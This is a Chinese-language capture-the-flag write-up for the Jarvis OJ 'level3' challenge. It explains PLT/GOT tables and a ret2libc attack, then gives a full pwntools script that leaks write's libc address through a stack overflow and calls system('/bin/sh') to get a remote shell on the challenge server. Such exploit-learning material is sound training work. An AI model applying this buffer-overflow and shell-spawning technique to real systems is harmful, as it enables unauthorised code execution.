1. 程式人生 > >Jarvis oj level3

Jarvis oj level3

下載下來發現有level3檔案和libc.so檔案,先checksec,和level2差不多,接著ida開啟level3,沒找到system函式和bin字串,沒什麼辦法了。接著去看so檔案,libc是Linux下的ANSI C的函式庫。找到了system函式和bin字串。那麼怎麼利用呢?

首先了解plt和got表。連結
在這裡插入圖片描述我是這麼理解的:plt表中存放的是函式在got表中該項的地址,got表存放的是函式在記憶體中的真實地址,也就是說plt[write]指向got[write],got[write]指向write函式在記憶體中的地址。而plt表在伺服器和客戶機是一樣的,不一樣的是函式在記憶體中的地址。程式執行後加載動態庫,把動態庫中的相應函式地址填入GOT表。同時還有個知識點,libc檔案中不同函式、資料之間的偏移量在伺服器和客戶機中是一樣的。

因此思想是首先利用write函式將伺服器中函式的地址洩露,構造write(got[write])。

pad
ebp
ret_addr
write的引數1,從右到左
write的引數2
write的引數3

得到伺服器中write函式的真實地址。
由於函式在記憶體中距so檔案開頭地址是一樣的,因此算出offset=伺服器函式地址-本地地址,伺服器地址即為本地地址+offset。

指令碼:

from pwn import *
conn=remote("pwn2.jarvisoj.com","9879")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']

conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)

offset=true_address-libc.symbols['write']

bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offset

payload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()

注意點:
我在p32裡運算有問題,拉出來就可以了。
還是有點沒想明白,反正先記住:
func1_addr-libc.symbols[func1]==func2_addr-libc.symbols[func2]
不知道有沒有問題。
好像libc不能用got[’’]